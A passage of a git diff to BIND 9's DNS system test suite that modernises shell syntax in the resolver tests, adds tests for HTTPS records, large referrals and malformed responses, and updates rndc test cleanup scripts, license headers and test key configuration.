-    $DIG $DIGOPTS @10.53.0.5 +edns=1 edns1.fetchall.tld any > dig.out.2.${n} || ret=1
+if test "${edns:-0}" != 0; then
+    dig_with_opts @10.53.0.5 +edns=1 edns1.fetchall.tld any > dig.out.2.${n} || ret=1
     grep "query: edns1.fetchall.tld IN ANY +E(1)" ns5/named.run > /dev/null || ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if test ${edns:-0} != 0; then
-    n=`expr $n + 1`
+if test "${edns:-0}" != 0; then
+    n=$((n+1))
     echo_i "check that edns-version is honoured (${n})"
     ret=0
-    $DIG $DIGOPTS @10.53.0.5 +edns no-edns-version.tld > dig.out.1.${n} || ret=1
+    dig_with_opts @10.53.0.5 +edns no-edns-version.tld > dig.out.1.${n} || ret=1
     grep "query: no-edns-version.tld IN A -E(1)" ns6/named.run > /dev/null || ret=1
-    $DIG $DIGOPTS @10.53.0.5 +edns edns-version.tld > dig.out.2.${n} || ret=1
+    dig_with_opts @10.53.0.5 +edns edns-version.tld > dig.out.2.${n} || ret=1
     grep "query: edns-version.tld IN A -E(0)" ns7/named.run > /dev/null || ret=1
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that CNAME nameserver is logged correctly (${n})"
 ret=0
-$DIG $DIGOPTS soa all-cnames @10.53.0.5 > dig.out.ns5.test${n} || ret=1
+dig_with_opts soa all-cnames @10.53.0.5 > dig.out.ns5.test${n} || ret=1
 grep "status: SERVFAIL" dig.out.ns5.test${n} > /dev/null || ret=1
 grep "skipping nameserver 'cname.tld' because it is a CNAME, while resolving 'all-cnames/SOA'" ns5/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that unexpected opcodes are handled correctly (${n})"
 ret=0
-$DIG $DIGOPTS soa all-cnames @10.53.0.5 +opcode=15 +cd +rec +ad +zflag > dig.out.ns5.test${n} || ret=1
+dig_with_opts soa all-cnames @10.53.0.5 +opcode=15 +cd +rec +ad +zflag > dig.out.ns5.test${n} || ret=1
 grep "status: NOTIMP" dig.out.ns5.test${n} > /dev/null || ret=1
 grep "flags:[^;]* qr[; ]" dig.out.ns5.test${n} > /dev/null || ret=1
 grep "flags:[^;]* ra[; ]" dig.out.ns5.test${n} > /dev/null && ret=1
@@ -636,214 +527,275 @@ grep "flags:[^;]* cd[; ]" dig.out.ns5.test${n} > /dev/null && ret=1
 grep "flags:[^;]* ad[; ]" dig.out.ns5.test${n} > /dev/null && ret=1
 grep "flags:[^;]*; MBZ: " dig.out.ns5.test${n} > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that EDNS client subnet with non-zeroed bits is handled correctly (${n})"
 ret=0
 # 0001 (IPv4) 1f (31 significant bits) 00 (0) ffffffff (255.255.255.255)
-$DIG $DIGOPTS soa . @10.53.0.5 +ednsopt=8:00011f00ffffffff > dig.out.ns5.test${n} || ret=1
+dig_with_opts soa . @10.53.0.5 +ednsopt=8:00011f00ffffffff > dig.out.ns5.test${n} || ret=1
 grep "status: FORMERR" dig.out.ns5.test${n} > /dev/null || ret=1
 grep "; EDNS: version:" dig.out.ns5.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that dig +subnet zeros address bits correctly (${n})"
 ret=0
-$DIG $DIGOPTS soa . @10.53.0.5 +subnet=255.255.255.255/23 > dig.out.ns5.test${n} || ret=1
+dig_with_opts soa . @10.53.0.5 +subnet=255.255.255.255/23 > dig.out.ns5.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
 grep "CLIENT-SUBNET: 255.255.254.0/23/0" dig.out.ns5.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that SOA query returns data for delegation-only apex (${n})"
+n=$((n+1))
+echo_i "check zero ttl not returned for learnt non zero ttl records (${n})"
 ret=0
-$DIG $DIGOPTS soa delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+# use prefetch disabled server
+dig_with_opts @10.53.0.7 non-zero.example.net txt > dig.out.1.${n} || ret=1
+ttl1=$(awk '/"A" "short" "ttl"/ { print $2 - 2 }' dig.out.1.${n})
+# sleep so we are in expire range
+sleep "${ttl1:-0}"
+# look for ttl = 1, allow for one miss at getting zero ttl
+zerotonine="0 1 2 3 4 5 6 7 8 9"
+zerotonine="$zerotonine $zerotonine $zerotonine"
+for i in $zerotonine $zerotonine $zerotonine $zerotonine
+do
+	dig_with_opts @10.53.0.7 non-zero.example.net txt > dig.out.2.${n} || ret=1
+	ttl2=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n})
+	test "${ttl2:-1}" -eq 0 && break
+	test "${ttl2:-1}" -ge "${ttl1:-0}" && break
+	"${PERL}" -e 'select(undef, undef, undef, 0.05);'
+done
+test "${ttl2:-1}" -eq 0 && ret=1
+test "${ttl2:-1}" -ge "${ttl1:-0}" || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that NS query returns data for delegation-only apex (${n})"
+n=$((n+1))
+echo_i "check zero ttl is returned for learnt zero ttl records (${n})"
 ret=0
-$DIG $DIGOPTS ns delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.7 zero.example.net txt > dig.out.1.${n} || ret=1
+ttl=$(awk '/"A" "zero" "ttl"/ { print $2 }' dig.out.1.${n})
+test "${ttl:-1}" -eq 0 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that A query returns data for delegation-only A apex (${n})"
+n=$((n+1))
+echo_i "check that 'ad' in not returned in truncated answer with empty answer and authority sections to request with +ad (${n})"
 ret=0
-$DIG $DIGOPTS a delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.6 dnskey ds.example.net +bufsize=512 +ad +nodnssec +ignore +norec > dig.out.$n
+grep "flags: qr aa tc; QUERY: 1, ANSWER: 0, AUTHORITY: 0" dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that CDS query returns data for delegation-only apex (${n})"
+n=$((n+1))
+echo_i "check that 'ad' in not returned in truncated answer with empty answer and authority sections to request with +dnssec (${n})"
 ret=0
-$DIG $DIGOPTS cds delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.6 dnskey ds.example.net +bufsize=512 +noad +dnssec +ignore +norec > dig.out.$n
+grep "flags: qr aa tc; QUERY: 1, ANSWER: 0, AUTHORITY: 0" dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that AAAA query returns data for delegation-only AAAA apex (${n})"
+n=$((n+1))
+echo_i "check that the resolver accepts a reply with empty question section with TC=1 and retries over TCP ($n)"
 ret=0
-$DIG $DIGOPTS a delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.5 truncated.no-questions. a +tries=3 +time=4 > dig.ns5.out.${n} || ret=1
+grep "status: NOERROR" dig.ns5.out.${n} > /dev/null || ret=1
+grep "ANSWER: 1," dig.ns5.out.${n} > /dev/null || ret=1
+grep "1\.2\.3\.4" dig.ns5.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
 
-echo_i "check that DNSKEY query returns data for delegation-only apex (${n})"
+n=$((n+1))
+echo_i "check that the resolver rejects a reply with empty question section with TC=0 ($n)"
 ret=0
-$DIG $DIGOPTS dnskey delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.5 not-truncated.no-questions. a +tries=3 +time=4 > dig.ns5.out.${n} || ret=1
+grep "status: NOERROR" dig.ns5.out.${n} > /dev/null && ret=1
+grep "ANSWER: 1," dig.ns5.out.${n} > /dev/null && ret=1
+grep "1\.2\.3\.4" dig.ns5.out.${n} > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+if ${FEATURETEST} --enable-querytrace; then
+    n=$((n+1))
+    echo_i "check that SERVFAIL is returned for an empty question section via TCP ($n)"
+    ret=0
+    nextpart ns5/named.run > /dev/null
+    # bind to local address so that addresses in log messages are consistent
+    # between platforms
+    dig_with_opts @10.53.0.5 -b 10.53.0.5 tcpalso.no-questions. a +tries=2 +timeout=15 > dig.ns5.out.${n} || ret=1
+    grep "status: SERVFAIL" dig.ns5.out.${n} > /dev/null || ret=1
+    check_namedrun() {
+    nextpartpeek ns5/named.run > nextpart.out.${n}
+    grep 'resolving tcpalso.no-questions/A for [^:]*: empty question section, accepting it anyway as TC=1' nextpart.out.${n} > /dev/null || return 1
+    grep '(tcpalso.no-questions/A): connecting via TCP' nextpart.out.${n} > /dev/null || return 1
+    grep 'resolving tcpalso.no-questions/A for [^:]*: empty question section$' nextpart.out.${n} > /dev/null || return 1
+    grep '(tcpalso.no-questions/A): nextitem' nextpart.out.${n} > /dev/null || return 1
+    return 0
+    }
+    retry_quiet 12 check_namedrun || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status + ret))
+fi
 
-n=`expr $n + 1`
-echo_i "check that CDNSKEY query returns data for delegation-only apex (${n})"
+n=$((n+1))
+echo_i "checking SERVFAIL is returned when all authoritative servers return FORMERR ($n)"
 ret=0
-$DIG $DIGOPTS cdnskey delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NOERROR" dig.out.ns5.test${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.5 ns.formerr-to-all. a > dig.ns5.out.${n} || ret=1
+grep "status: SERVFAIL" dig.ns5.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that NXDOMAIN is returned for delegation-only non-apex A data (${n})"
+n=$((n+1))
+echo_i "checking SERVFAIL is not returned if only some authoritative servers return FORMERR ($n)"
 ret=0
-$DIG $DIGOPTS a a.delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NXDOMAIN" dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.5 ns.partial-formerr. a > dig.ns5.out.${n} || ret=1
+grep "status: SERVFAIL" dig.ns5.out.${n} > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that NXDOMAIN is returned for delegation-only non-apex CDS data (${n})"
+n=$((n+1))
+echo_i "check logged command line ($n)"
 ret=0
-$DIG $DIGOPTS cds cds.delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NXDOMAIN" dig.out.ns5.test${n} > /dev/null || ret=1
+grep "running as: .* -m record " ns1/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that NXDOMAIN is returned for delegation-only non-apex AAAA data (${n})"
+n=$((n+1))
+echo_i "checking NXDOMAIN is returned when querying non existing domain in CH class ($n)"
 ret=0
-$DIG $DIGOPTS aaaa aaaa.delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NXDOMAIN" dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.1 id.hostname txt ch > dig.ns1.out.${n} || ret=1
+grep "status: NXDOMAIN" dig.ns1.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
 
-echo_i "check that NXDOMAIN is returned for delegation-only non-apex CDNSKEY data (${n})"
+n=$((n+1))
+echo_i "check that the addition section for HTTPS is populated on initial query to a recursive server ($n)"
 ret=0
-$DIG $DIGOPTS cdnskey cdnskey.delegation-only @10.53.0.5 > dig.out.ns5.test${n} || ret=1
-grep "status: NXDOMAIN" dig.out.ns5.test${n} > /dev/null || ret=1
+dig_with_opts @10.53.0.7 www.example.net https > dig.out.ns7.${n} || ret=1
+grep "status: NOERROR" dig.out.ns7.${n} > /dev/null || ret=1
+grep "flags:[^;]* ra[ ;]" dig.out.ns7.${n} > /dev/null || ret=1
+grep "ADDITIONAL: 2" dig.out.ns7.${n} > /dev/null || ret=1
+grep "ANSWER: 1," dig.out.ns7.${n} > /dev/null || ret=1
+grep "http-server\.example\.net\..*A.*10\.53\.0\.6" dig.out.ns7.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check zero ttl not returned for learnt non zero ttl records (${n})"
+n=$((n+1))
+echo_i "check HTTPS loop is handled properly ($n)"
 ret=0
-# use prefetch disabled server
-$DIG $DIGOPTS @10.53.0.7 non-zero.example.net txt > dig.out.1.${n} || ret=1
-ttl1=`awk '/"A" "short" "ttl"/ { print $2 - 2 }' dig.out.1.${n}`
-# sleep so we are in expire range
-sleep ${ttl1:-0}
-# look for ttl = 1, allow for one miss at getting zero ttl
-zerotonine="0 1 2 3 4 5 6 7 8 9"
-zerotonine="$zerotonine $zerotonine $zerotonine"
-for i in $zerotonine $zerotonine $zerotonine $zerotonine
-do
-	$DIG $DIGOPTS @10.53.0.7 non-zero.example.net txt > dig.out.2.${n} || ret=1
-	ttl2=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n}`
-	test ${ttl2:-1} -eq 0 && break
-	test ${ttl2:-1} -ge ${ttl1:-0} && break
-	$PERL -e 'select(undef, undef, undef, 0.05);'
-done
-test ${ttl2:-1} -eq 0 && ret=1
-test ${ttl2:-1} -ge ${ttl1:-0} || break
+dig_with_opts @10.53.0.7 https-loop.example.net https > dig.out.ns7.${n} || ret=1
+grep "status: NOERROR" dig.out.ns7.${n} > /dev/null || ret=1
+grep "ANSWER: 1," dig.out.ns7.${n} > /dev/null || ret=1
+grep "ADDITIONAL: 2" dig.out.ns7.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check zero ttl is returned for learnt zero ttl records (${n})"
+n=$((n+1))
+echo_i "check HTTPS -> CNAME loop is handled properly ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.7 zero.example.net txt > dig.out.1.${n} || ret=1
-ttl=`awk '/"A" "zero" "ttl"/ { print $2 }' dig.out.1.${n}`
-test ${ttl:-1} -eq 0 || ret=1
+dig_with_opts @10.53.0.7 https-cname-loop.example.net https > dig.out.ns7.${n} || ret=1
+grep "status: NOERROR" dig.out.ns7.${n} > /dev/null || ret=1
+grep "ADDITIONAL: 2" dig.out.ns7.${n} > /dev/null || ret=1
+grep "ANSWER: 1," dig.out.ns7.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that 'ad' in not returned in truncated answer with empty answer and authority sections to request with +ad (${n})"
+n=$((n+1))
+echo_i "check HTTPS cname chains are followed ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.6 dnskey ds.example.net +bufsize=512 +ad +nodnssec +ignore +norec > dig.out.$n
-grep "flags: qr aa tc; QUERY: 1, ANSWER: 0, AUTHORITY: 0" dig.out.$n > /dev/null || ret=1
+dig_with_opts @10.53.0.7 https-cname.example.net https > dig.out.ns7.${n} || ret=1
+grep "status: NOERROR" dig.out.ns7.${n} > /dev/null || ret=1
+grep "ADDITIONAL: 4" dig.out.ns7.${n} > /dev/null || ret=1
+grep 'http-server\.example\.net\..*A.10\.53\.0\.6' dig.out.ns7.${n} > /dev/null || ret=1
+grep 'cname-server\.example\.net\..*CNAME.cname-next\.example\.net\.' dig.out.ns7.${n} > /dev/null || ret=1
+grep 'cname-next\.example\.net\..*CNAME.http-server\.example\.net\.' dig.out.ns7.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that 'ad' in not returned in truncated answer with empty answer and authority sections to request with +dnssec (${n})"
+n=$((n+1))
+echo_i "check ADB find loops are detected ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.6 dnskey ds.example.net +bufsize=512 +noad +dnssec +ignore +norec > dig.out.$n
-grep "flags: qr aa tc; QUERY: 1, ANSWER: 0, AUTHORITY: 0" dig.out.$n > /dev/null || ret=1
+dig_with_opts +tcp +tries=1 +timeout=5 @10.53.0.1 fake.lame.example.org > dig.out.ns1.${n} || ret=1
+grep "status: SERVFAIL" dig.out.ns1.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that the resolver accepts a reply with empty question section with TC=1 and retries over TCP ($n)"
+n=$((n+1))
+echo_i "check handling of large referrals to unresponsive name servers ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 truncated.no-questions. a +tries=3 +time=4 > dig.ns5.out.${n} || ret=1
-grep "status: NOERROR" dig.ns5.out.${n} > /dev/null || ret=1
-grep "ANSWER: 1," dig.ns5.out.${n} > /dev/null || ret=1
-grep "1\.2\.3\.4" dig.ns5.out.${n} > /dev/null || ret=1
+dig_with_opts +timeout=15 large-referral.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+grep "status: SERVFAIL" dig.out.ns1.test${n} > /dev/null || ret=1
+# Check the total number of findname() calls triggered by a single query
+# for large-referral.example.net/A.
+findname_call_count="$(grep -c "large-referral\.example\.net.*FINDNAME" ns1/named.run || true)"
+if [ "${findname_call_count}" -gt 1000 ]; then
+	echo_i "failed: ${findname_call_count} (> 1000) findname() calls detected for large-referral.example.net"
+	ret=1
+fi
+# Check whether the limit of NS RRs processed for any delegation
+# encountered was not exceeded.
+if grep -Eq "dns_adb_createfind: started (A|AAAA) fetch for name ns21.fake.redirect.com" ns1/named.run; then
+	echo_i "failed: unexpected address fetch(es) were triggered for ns21.fake.redirect.com"
+	ret=1
+fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check that the resolver rejects a reply with empty question section with TC=0 ($n)"
+n=$((n+1))
+echo_i "checking query resolution for a domain with a valid glueless delegation chain ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 not-truncated.no-questions. a +tries=3 +time=4 > dig.ns5.out.${n} || ret=1
-grep "status: NOERROR" dig.ns5.out.${n} > /dev/null && ret=1
-grep "ANSWER: 1," dig.ns5.out.${n} > /dev/null && ret=1
-grep "1\.2\.3\.4" dig.ns5.out.${n} > /dev/null && ret=1
+rndccmd 10.53.0.1 flush || ret=1
+dig_with_opts foo.bar.sub.tld1 @10.53.0.1 TXT > dig.out.ns1.test${n} || ret=1
+grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
+grep "IN.*TXT.*baz" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "checking SERVFAIL is returned when all authoritative servers return FORMERR ($n)"
+n=$((n+1))
+echo_i "check that correct namespace is chosen for dual-stack-servers ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 ns.formerr-to-all. a > dig.ns5.out.${n} || ret=1
-grep "status: SERVFAIL" dig.ns5.out.${n} > /dev/null || ret=1
+#
+# The two priming queries are needed until we fix dual-stack-servers fully
+#
+dig_with_opts @fd92:7065:b8e:ffff::9 v4.nameserver A > dig.out.prime1.${n} || ret=1
+dig_with_opts @fd92:7065:b8e:ffff::9 v4.nameserver AAAA > dig.out.prime2.${n} || ret=1
+dig_with_opts @fd92:7065:b8e:ffff::9 foo.v4only.net A > dig.out.ns9.${n} || ret=1
+grep "status: NOERROR" dig.out.ns9.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
-echo_i "check logged command line ($n)"
+n=$((n+1))
+echo_i "check expired TTLs with qtype * (${n})"
 ret=0
-grep "running as: .* -m record,size,mctx " ns1/named.run > /dev/null || ret=1
+dig_with_opts +tcp @10.53.0.5 mixedttl.tld any > dig.out.1.${n} || ret=1
+ttl1=$(awk '$1 == "mixedttl.tld." && $4 == "A" { print $2 + 1 }' dig.out.1.${n})
+# sleep TTL + 1 so that record has expired
+sleep "${ttl1:-0}"
+dig_with_opts +tcp @10.53.0.5 mixedttl.tld any > dig.out.2.${n} || ret=1
+# check preconditions
+grep "ANSWER: 3," dig.out.1.${n} > /dev/null || ret=1
+lines=$(awk '$1 == "mixedttl.tld." && $2 > 30 { print }' dig.out.1.${n} | wc -l)
+test ${lines:-1} -ne 0 && ret=1
+# check behaviour (there may be 1 answer on very slow machines)
+grep "ANSWER: [12]," dig.out.2.${n} > /dev/null || ret=1
+lines=$(awk '$1 == "mixedttl.tld." && $2 > 30 { print }' dig.out.2.${n} | wc -l)
+test ${lines:-1} -ne 0 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
 
-n=`expr $n + 1`
-echo_i "checking NXDOMAIN is returned when querying non existing domain in CH class ($n)"
+n=$((n+1))
+echo_i "check resolver behavior when FORMERR for EDNS options happens (${n})"
 ret=0
-$DIG $DIGOPTS @10.53.0.1 id.hostname txt ch > dig.ns1.out.${n} || ret=1
-grep "status: NXDOMAIN" dig.ns1.out.${n} > /dev/null || ret=1
+msg="resolving options-formerr/A .* server sent FORMERR with echoed DNS COOKIE"
+if [ $ret != 0 ]; then echo_i "failed"; fi
+nextpart ns5/named.run >/dev/null
+dig_with_opts +tcp @10.53.0.5 options-formerr A > dig.out.${n} || ret=1
+grep "status: NOERROR" dig.out.${n} > /dev/null || ret=1
+nextpart ns5/named.run | grep "$msg" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/resolver/tests_sh_resolver.py b/bin/tests/system/resolver/tests_sh_resolver.py
new file mode 100644
index 0000000000..d8de300aa0
--- /dev/null
+++ b/bin/tests/system/resolver/tests_sh_resolver.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_resolver(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rndc/clean.sh b/bin/tests/system/rndc/clean.sh
index 25ec6c8f68..7d08f5badc 100644
--- a/bin/tests/system/rndc/clean.sh
+++ b/bin/tests/system/rndc/clean.sh
@@ -1,28 +1,34 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
 rm -f dig.out.*.test*
+rm -f ns*/*.nta
+rm -f ns*/managed-keys.bind* ns*/*.mkeys*
+rm -f ns*/named.conf
 rm -f ns*/named.lock
 rm -f ns*/named.memstats
 rm -f ns*/named.run ns*/named.run.prev
 rm -f ns2/named.stats
 rm -f ns2/nil.db ns2/other.db ns2/static.db ns2/*.jnl
+rm -f ns2/secondkey.conf
 rm -f ns2/session.key
 rm -f ns3/named_dump.db*
 rm -f ns4/*.nta
+rm -f ns4/example.db ns4/example.db.jnl
 rm -f ns4/key?.conf
 rm -f ns6/huge.zone.db
-rm -f ns*/named.conf
+rm -f ns7/include.db ns7/test.db ns7/*.jnl
+rm -f ns7/named_dump.db*
 rm -f nsupdate.out.*.test*
 rm -f python.out.*.test*
 rm -f rndc.out.*.test*
-rm -f ns*/managed-keys.bind* ns*/*.mkeys*
-rm -f ns*/*.nta
diff --git a/bin/tests/system/rndc/gencheck.c b/bin/tests/system/rndc/gencheck.c
index 9aa7c31cc1..ec54f1a7b1 100644
--- a/bin/tests/system/rndc/gencheck.c
+++ b/bin/tests/system/rndc/gencheck.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,8 +18,6 @@
 #include <sys/stat.h>
 #include <unistd.h>
 
-#include <isc/print.h>
-
 #define USAGE "usage: gencheck <filename>\n"
 
 static int
diff --git a/bin/tests/system/rndc/ns2/incl.db b/bin/tests/system/rndc/ns2/incl.db
index f40cac4b6e..bb8b3434af 100644
--- a/bin/tests/system/rndc/ns2/incl.db
+++ b/bin/tests/system/rndc/ns2/incl.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rndc/ns2/named.conf.in b/bin/tests/system/rndc/ns2/named.conf.in
index 6afd5fec13..97d416c2c1 100644
--- a/bin/tests/system/rndc/ns2/named.conf.in
+++ b/bin/tests/system/rndc/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,16 +18,17 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 key secondkey {
 	secret "abcd1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rndc/ns2/secondkey.conf b/bin/tests/system/rndc/ns2/secondkey.conf
deleted file mode 100644
index 2563b6946b..0000000000
--- a/bin/tests/system/rndc/ns2/secondkey.conf
+++ /dev/null
@@ -1,19 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
